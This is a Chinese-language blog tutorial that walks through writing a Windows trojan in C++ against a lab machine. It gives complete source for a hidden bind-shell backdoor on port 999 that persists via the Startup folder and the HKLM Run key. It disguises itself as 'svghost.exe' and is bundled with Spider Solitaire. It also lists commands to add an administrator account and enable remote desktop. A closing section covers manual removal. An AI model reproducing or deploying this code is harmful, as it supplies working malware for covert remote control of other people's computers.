0%

#2 手动编写windows木马

目的

使用C++实现一个简单的木马,实现木马的远程控制功能,能够开机自启动和伪装或隐藏,最后通过清除本木马,掌握常规的木马排查和查杀方法。

工具:vc++6.0
攻击机:win10(ip随机) 靶机:192.168.1.129

一、木马是什么?

这是一个老生常谈的问题,木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。

二、木马隐藏技术

木马会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了(MFC编程)。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。

三、木马程序原理:

木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。

四、编写后门型木马:

编写一个反弹shell的木马,能够伪装成其他应用程序(扫雷游戏,或者表白代码等伪装程序),点击运行后能够打开特定的端口(或可使用端口复用技术,更适合与服务器),等待客户端连接,客户端使用telnet后,便可反弹拿到shell,然后为所欲为(创建新的账号密码,远程桌面连接等)。

木马能够实现开机自启动,任务管理器中在应用程序一栏消失,在进程一栏中伪装成其他进程。

1.木马的功能模块图

upload successful

2.代码实现各个部分
-开机自启动

windwos有一个自启动文件夹。在 系统启动时会自动运行开始->启动子菜单中的所有项目
upload successful
注意:在Documents and Settings文件下有多个文件夹。

Administrator文件夹下的是对当前用户的专有账户生效

All Users文件下是对所有用户生效

所以一般为了方便我们都放在All Users文件下

要想实现它,我这里先介绍两个函数

1)UINT GetSystemDirectory()函数

UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);

这个函数的参数 lpBuffer会返回系统路径,我们提取前面两位就是就可以得到系统分区,例如“C:”

2)DWORD GetModuleFileName()函数

DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);

这个函数是返回我们程序自身的完整路径

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
#include<windows.h>
#include<stdio.h>
int main(void){
char FileName[MAX_PATH];//存储程序自身的绝对路径
char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
char TempBuffer[MAX_PATH];
GetModuleFileName(NULL,FileName,sizeof(FileName));
GetSystemDirectory(TempPath,sizeof(TempPath));
sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\torjan.exe",TempPath[0],TempPath[1]);
CopyFile(FileName,TempBuffer,TRUE); //将程序复制到启动文件夹中
return 0;
}
-将自己加入注册表启动项

自启动注册表路径有许多,大家可以自己了解一下,最常用的有:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

这里我们选择第一个,来编写代码,我们用到的主要函数只有一个:

1
2
3
4
///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//键

GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//值

我们分别设置了注册表的键和值,键为:kinni,值为FileName,FileName为木马文件的绝对路径

-开启端口

主要的办法是:建立CSocket开始,然后绑定端口999,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,系统重启这个木马就会被清除了。

创建socket连接的代码比较简单,大家都会,百度一大堆,就不再解释。

先说个小技巧:因为我们写的cmd木马,整个过程我们都不需要显示出cmd的黑窗窗,所以我们可以把cmd窗口直接屏蔽掉,使用:

1
2
//设置链接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

因为我们最后要反弹本地shell给客户端,所以我们要先拿到本地cmd.exe的路径。

1
2
3
//获取CMD路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,获取更多环境变量可以查看一下本函数的更多参数

我们将所有代码整合一下,得到完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112

#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#define MasterPort 999 //定义监听端口

void open_telnet(){
WSADATA WSADa;//用来存储被WSAStartup函数调用后返回的win sockets数据
sockaddr_in SockAddrin;
SOCKET CSocket, SSocket;
int AddrSize;
PROCESS_INFORMATION Processinfo;
STARTUPINFO Startupinfo;
char szCMDPath[255];

//配内存资源,初始化数据
ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));

//获取CMD路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

//加载ws2_32.dll
WSAStartup(0x202, &WSADa);

//设置本地信息和绑定协议,建立socket
SockAddrin.sin_family = AF_INET;
SockAddrin.sin_addr.s_addr = INADDR_ANY;
SockAddrin.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

//设置绑定断端口999
bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));

//设置服务器监听端口
listen(CSocket, 1);
AddrSize = sizeof(SockAddrin);

//开始连接远程服务器,并配置隐藏窗口结构体
SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
Startupinfo.cb = sizeof(STARTUPINFO);
Startupinfo.wShowWindow = SW_HIDE;
Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
Startupinfo.hStdInput = (HANDLE)SSocket;
Startupinfo.hStdOutput = (HANDLE)SSocket;
Startupinfo.hStdError = (HANDLE)SSocket;

//创建匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
WaitForSingleObject(Processinfo.hProcess, INFINITE);
CloseHandle(Processinfo.hProcess);
CloseHandle(Processinfo.hThread);

//关闭进程句柄
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
}


int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
HKEY hkResult;
int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);

if(ret != 0)
return ret;

ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);

if(ret==0)
{
RegCloseKey(hkResult);
return 0;
}
else
{
return ret;
}
}

int autopen(const char* key_name, const char* process_path)
{
char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}

int main(void)
{

char key_name[100];
char process_path[1024];
///写入启动文件夹////
char FileName[MAX_PATH];//存储程序自身的绝对路径
char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
char TempBuffer[MAX_PATH];
GetModuleFileName(NULL,FileName,sizeof(FileName));
GetSystemDirectory(TempPath,sizeof(TempPath));
sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe",TempPath[0],TempPath[1]);
CopyFile(FileName,TempBuffer,TRUE); //将程序复制到启动文件夹中
///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");
GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe", process_path, sizeof(process_path), ".\\config.ini");
int ret = autopen(key_name, process_path);
open_telnet();//远程telnet
return 0;
}
-文件伪装

如上,我们代码编译运行后,得到一个exe文件,但是我们隐藏了命令行窗口,所以点击运行后,不会有任何反应。

但是谁都不会傻到直接运行这么一个什么都没有的代码,我们要跟其他的程序,绑在一起,偷偷执行,让靶机用户不知情。

我们可以从网上找到一些辅助工具,来帮助我们。我找了一款叫做ExeBinder.exe的软件。

upload successful

这个程序可以将两个可执行文件捆绑为一个,但是在点击运行的时候,会同时运行两个文件。

对我们的木马来说,简直就是量身定制。

首先,将前面我们提到的功能,做一个封装,写成一个exe文件:叫做torjan.exe

(后面为了伪装效果,更改了程序名为svghost.exe)

再来看看现在的启动文件夹和注册表内容:

upload successful
Ok,非常好。

运行一下我们的exe文件

upload successful

可以看到启动文件夹和注册表项中,已经添加了。

功能正常,现在我们将它和正常的程序绑在一起,这里选择了蜘蛛纸牌,当然我们可以选择自己写的其他有趣的代码。

upload successful

3.木马测试

首先肯定是靶机需要运行一次上面这个木马,才可以连接。

-连接测试

接下来,我们就来测试一下,我们是否能远程连接到靶机。

尝试使用另一台电脑(win10+Powershell)进行连接

upload successful

成功弹回了shell。

-靶机观察

运行后,我们观察任务管理器:只显示蜘蛛纸牌,非常nice!

upload successful
我们再来看看进程下面,

upload successful

-重启再连接

upload successful

电脑刚打开,提示开机时间时,已经可以连接到目标。

4.更多操作

我们连接到远程shell后,可以新建一个用户,然后加入管理员组。

1
2
net user admin /add    //创建admin 用户 密码为空
net localgroup adminators admin /add //赋与admin用户,管理员权限

然后开启远程桌面功能(也就是3389端口),连接后将自己这个用户隐藏掉。

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

but…….我在这里,并没有开启,原因是命令行提示我参数过多,可能是telnet过来的命令行,有点问题。

大家感兴趣可以自己试试。

五、木马清除

首先,我们需要观察自启动文件夹,将不正常和非必要自启动的程序全部删除。

然后,注册表自启动,所有Run下面的每个键值都要检查,尤其是值为某路径下.exe,你又不知道这个exe是什么,到对应目录查看该文件,删除键值。

清除木马,因为本木马使用了伪装,复制和注册表项,我们需要一一清除:

首先打开任务管理器,关闭蜘蛛纸牌应用程序,从进程中找到svghost.exe所有者为administrator,结束掉该进程;

然后,打开本地C盘启动文件夹,删除svghost.exe程序;

同时,删除本地的捆绑了木马的蜘蛛纸牌(或其他应用);

最后,打开注册表,进入自启动项(有很多,Run下面的都要仔细检查,但是本木马使用了比较经典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除包含svghost.exe的对应键值关系。

重启电脑。

欢迎关注我的其它发布渠道